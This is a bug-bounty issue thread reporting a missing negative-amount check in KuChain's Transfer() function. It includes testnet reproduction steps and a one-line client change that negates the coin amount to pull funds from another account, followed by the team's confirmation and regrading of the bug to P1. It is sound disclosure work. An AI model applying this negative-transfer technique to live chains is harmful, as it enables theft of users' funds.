No negative check for Amount in Transfer()

[soreatu]

Describe The Bug There exists no negative check for Amount field in KuMsg when handling Transfer(). The attacker can send a transaction which contains a negative Amount. This transaction will be executed successfully, after which the To account coin will be transferred to From. By exploiting this vulnerability, the attacker could transfer all others' coins to the account of himself, which disasterly destroy the whole ecosystem.

Code Snippets (Optional) /x/chain/type/types.pb.go:L103-111

type KuMsg struct {
    Auth   []github_com_cosmos_cosmos_sdk_types.AccAddress `protobuf:"bytes,1,rep,name=auth,proto3,casttype=github.com/cosmos/cosmos-sdk/types.AccAddress" json:"auth,omitempty" yaml:"auth"`
    From   AccountID                                       `protobuf:"bytes,2,opt,name=from,proto3" json:"from" yaml:"from"`
    To     AccountID                                       `protobuf:"bytes,3,opt,name=to,proto3" json:"to" yaml:"to"`
    Amount github_com_cosmos_cosmos_sdk_types.Coins        `protobuf:"bytes,4,rep,name=amount,proto3,castrepeated=github.com/cosmos/cosmos-sdk/types.Coins" json:"amount" yaml:"amount"`
    Router Name                                            `protobuf:"bytes,5,opt,name=router,proto3" json:"router" yaml:"router"`
    Action Name                                            `protobuf:"bytes,6,opt,name=action,proto3" json:"action" yaml:"action"`
    Data   []byte                                          `protobuf:"bytes,7,opt,name=data,proto3" json:"data,omitempty" yaml:"data"`
}

The Amount filed of the KuMsg struct can be set as a negative value.

To reproduce the vulnerability, we need to modify the source code a little bit. Add some coins to testacc2 in scripts/boot-testnet.sh.

# ...
./build/ktsd ${PARAMS} genesis add-account-coin kratos "100000000000000000000000kratos/kts"
./build/ktsd ${PARAMS} genesis add-account-coin testacc2 "10000kratos/kts" # Add this line.
# ...

Modify the client code to make the amount set as negative when constructing the transfer transction. /x/asset/client/cli/tx.go:L41-76

func Transfer(cdc *codec.Codec) *cobra.Command {
            ...
            coin, err := sdk.ParseCoins(args[2])
            if err != nil {
                return err
            }
            coin[0].Amount = coin[0].Amount.Neg() // Add this line
            ...
}

Input/Output

1. Craft a KuMsg: '{"from":"kratos","to":"testacc2","amount":["-10000kratos/kts"]}'
2. Output: None

To Reproduce Steps to reproduce the behavior:

1. Modify the source code as shown in the Code Snippets.
2. make
3. ./scripts/boot-testnet.sh ./
4. ./build/ktscli query asset coins kratos
5. ./build/ktscli query asset coins testacc2
6. ./build/ktscli tx asset transfer kratos testacc2 10000kratos/kts --keyring-backend test --chain-id testing --home ./testing/cli/ --from kratos
7. ./build/ktscli query asset coins kratos
8. ./build/ktscli query asset coins testacc2

Expected Behavior Return an error "The amount of coin cannot be negative."

Screenshots Before the transaction:

After the transaction:

Desktop (please complete the following information):

• OS: [macOS Catalina 10.15.6]

Additional Context (Optional) Note: This problem not only exists in Transfer(), many other places also have this problem.

Contact Information xiang.yin@chaitin.com blockchain@chaitin.com

[Pisces-Anjou]

Hi

Thanks for your submission. We have tested the issue you mentioned and did reproduce it. This is a valid vulnerability. After evaluation, this vulnerability has been graded as P2. Please pay attention to the announcement to get your rewards. Thanks for your attention and contribution. Please keep trying and help us improve our chain.

Regards KuChain Team

[soreatu]

Hi

We emphasize that this vulnerability in Transfer() is very devastating. By exploiting this vulnerability, the attacker could tranfer all other account coins to himself, and thus destroy the whole ecosystem. I think this fits the description of P1 "Vulnerabilities that could undermine the safety of any user or validator's fund/fee" and "Vulnerabilities that could severely undermine trading or token economy", right?

[Pisces-Anjou]

Hi,

We have received your appeal. Our jury will evaluate it again. We will inform you with the final result. Thanks for your attention and contribution! Please keep trying and help us improve our chain.

Regards KuChain Team

[Pisces-Anjou]

Hi,

After evaluation by the jury, your vulnerability has been graded as P1. Please pay attention to the announcement and your email to get your rewards. Thanks for your attention and contribution! Please keep trying and help us improve our chain.

Regards KuChain Team